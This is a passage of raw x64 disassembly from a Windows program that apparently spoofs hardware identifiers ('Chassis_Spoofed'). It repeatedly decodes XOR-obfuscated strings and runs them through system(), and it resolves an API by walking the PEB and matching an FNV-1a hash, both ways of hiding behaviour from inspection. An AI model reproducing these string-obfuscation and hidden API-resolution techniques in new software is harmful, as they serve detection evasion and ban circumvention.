andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140045c20
cmp r8d, 0x41
jge 0x140045d70
movsxd rax, r8d
lea r9, [rsp + 0xa00]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140045d40
lea rcx, [rsp + 0xa00]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a7a90]
movups xmm0, xmmword [0x1400a7a80]
movups xmmword [rsp + 0xb80], xmm1
movups xmmword [rsp + 0xb70], xmm0
movzx eax, word [0x1400a7ac0]
movups xmm1, xmmword [0x1400a7ab0]
movups xmm0, xmmword [0x1400a7aa0]
mov word [rsp + 0xbb0], ax
movups xmmword [rsp + 0xba0], xmm1
movups xmmword [rsp + 0xb90], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140045f15
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xb74]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140045e10
cmp r8d, 0x42
jge 0x140045f60
movsxd rax, r8d
lea r9, [rsp + 0xb70]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x140045f30
lea rcx, [rsp + 0xb70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a7ae0]
movups xmm0, xmmword [0x1400a7ad0]
movups xmmword [rsp + 0xbd0], xmm1
movups xmmword [rsp + 0xbc0], xmm0
movzx eax, word [0x1400a7b10]
movups xmm1, xmmword [0x1400a7b00]
movups xmm0, xmmword [0x1400a7af0]
mov word [rsp + 0xc00], ax
movups xmmword [rsp + 0xbf0], xmm1
movups xmmword [rsp + 0xbe0], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140046105
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xbc4]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140046000
cmp r8d, 0x42
jge 0x140046150
movsxd rax, r8d
lea r9, [rsp + 0xbc0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x42
jl 0x140046120
lea rcx, [rsp + 0xbc0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a7b30]
movups xmm0, xmmword [0x1400a7b20]
movups xmmword [rsp + 0xa60], xmm1
movups xmmword [rsp + 0xa50], xmm0
movzx eax, byte [0x1400a7b60]
movups xmm1, xmmword [0x1400a7b50]
movups xmm0, xmmword [0x1400a7b40]
mov byte [rsp + 0xa90], al
movups xmmword [rsp + 0xa80], xmm1
movups xmmword [rsp + 0xa70], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400462f5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xa54]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400461f0
cmp r8d, 0x41
jge 0x140046340
movsxd rax, r8d
lea r9, [rsp + 0xa50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140046310
lea rcx, [rsp + 0xa50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a7b80]
movups xmm0, xmmword [0x1400a7b70]
movups xmmword [rsp + 0xab0], xmm1
movups xmmword [rsp + 0xaa0], xmm0
movzx eax, byte [0x1400a7bb0]
movups xmm1, xmmword [0x1400a7ba0]
movups xmm0, xmmword [0x1400a7b90]
mov byte [rsp + 0xae0], al
movups xmmword [rsp + 0xad0], xmm1
movups xmmword [rsp + 0xac0], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400464e5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xaa4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x1400463e0
cmp r8d, 0x41
jge 0x140046530
movsxd rax, r8d
lea r9, [rsp + 0xaa0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140046500
lea rcx, [rsp + 0xaa0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, word [0x1400a7bd8]
mov word [rsp + 0x648], ax
movzx eax, byte [0x1400a7bda]
movups xmm1, xmmword [0x1400a7bc8]
movups xmm0, xmmword [0x1400a7bb8]
mov byte [rsp + 0x64a], al
movups xmmword [rsp + 0x638], xmm1
movups xmmword [rsp + 0x628], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400466c5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x62c]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400465c0
cmp r8d, 0x23
jge 0x140046710
movsxd rax, r8d
lea r9, [rsp + 0x628]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x1400466e0
lea rcx, [rsp + 0x628]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a7be0]
movups xmmword [rsp + 0x950], xmm0
movups xmm0, xmmword [0x1400a7c00]
movups xmmword [rsp + 0x970], xmm0
mov eax, dword [0x1400a7c18]
movsd xmm0, qword [0x1400a7c10]
movups xmm1, xmmword [0x1400a7bf0]
mov dword [rsp + 0x988], eax
movsd qword [rsp + 0x980], xmm0
movups xmmword [rsp + 0x960], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x1400468b5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x954]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400467b0
cmp r8d, 0x3c
jge 0x140046900
movsxd rax, r8d
lea r9, [rsp + 0x950]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x1400468d0
lea rcx, [rsp + 0x950]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400a7c50]
mov dword [rsp + 0x818], eax
movzx eax, word [0x1400a7c54]
movups xmm0, xmmword [0x1400a7c20]
mov word [rsp + 0x81c], ax
movups xmmword [rsp + 0x7e8], xmm0
movzx eax, byte [0x1400a7c56]
movups xmm0, xmmword [0x1400a7c40]
movups xmm1, xmmword [0x1400a7c30]
mov byte [rsp + 0x81e], al
movups xmmword [rsp + 0x808], xmm0
movups xmmword [rsp + 0x7f8], xmm1
mov r8d, r13d
cmp r12d, 2
jl 0x140046ab5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x7ec]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400469b0
cmp r8d, 0x37
jge 0x140046b00
movsxd rax, r8d
lea r9, [rsp + 0x7e8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x37
jl 0x140046ad0
lea rcx, [rsp + 0x7e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [0x140d4505f], 1
mov byte [0x140d45060], 1
jmp 0x140046b2b
cmp byte [0x140d45060], 0
je 0x140046d84
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rdx, str.___Chassis_Spoofed
lea rcx, [rsp + 0xea8]
call fcn.1400071e0
movss xmm1, dword [rax]
mulss xmm1, xmm12
movss xmm0, dword [0x1400a8438]
subss xmm0, xmm1
movss dword [rsp + 0x4f8], xmm0
mov dword [rsp + 0x4fc], 0x42c80000
movups xmmword [rsp + 0x768], xmm8
lea rcx, [rsp + 0x768]
call fcn.1400082d0
mov r12d, eax
movups xmmword [rsp + 0x778], xmm8
lea rcx, [rsp + 0x778]
call fcn.1400082d0
mov r10d, eax
movups xmm0, xmmword [0x1400a7c58]
movups xmmword [rsp + 0x8a8], xmm0
mov ecx, dword [0x1400a7c68]
mov dword [rsp + 0x8b8], ecx
cmp byte [0x1400a7c6b], 0
je 0x140046d60
mov r8d, r13d
cmp dword [0x140d3f110], 2
jl 0x140046d17
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x8ac]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140046c12
cmp r8d, 0x14
jge 0x140046d60
movsxd rax, r8d
lea r9, [rsp + 0x8a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140046d30
lea rax, [rsp + 0x4f8]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm13
mov r8d, r12d
mov edx, r10d
lea rcx, [rsp + 0x8a8]
call fcn.140039970
cmp byte [0x140d45061], 0
jne 0x14004757e
movups xmm0, xmmword [0x1400a7c70]
movups xmmword [rsp + 0xeb0], xmm0
movups xmm1, xmmword [0x1400a7c80]
movups xmmword [rsp + 0xec0], xmm1
movups xmm0, xmmword [0x1400a7c90]
movups xmmword [rsp + 0xed0], xmm0
movups xmm1, xmmword [0x1400a7ca0]
movups xmmword [rsp + 0xee0], xmm1
movzx eax, word [0x1400a7cb0]
mov word [rsp + 0xef0], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r13d, dword [rcx + r10 + 0x88]
add r13, r10
cmp r13, r10
je 0x140046e66
mov r9d, dword [r13 + 0x18]
test r9d, r9d
je 0x140046e66
mov r12d, dword [r13 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + r12]
add rdx, r10
mov r8d, 0xf8714ed
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140046e61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140046e40
cmp r8d, 0x334b6684
je 0x140046e6b
test r9d, r9d
jne 0x140046e20
mov rax, qword [rax]
jmp 0x140046df0
mov ecx, dword [r13 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r13 + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
xor r8d, r8d
cmp dword [0x140d3f110], 2
jl 0x140046fd5
movdqa xmm5, xmmword [0x1400a66c0]
movdqa xmm4, xmmword [0x1400a84b0]
movdqa xmm6, xmmword [str.2222]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0xeb4]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a8480]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140046ed0
cmp r8d, 0x42
jge 0x140047020
movsxd rax, r8d
lea r9, [rsp + 0xeb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
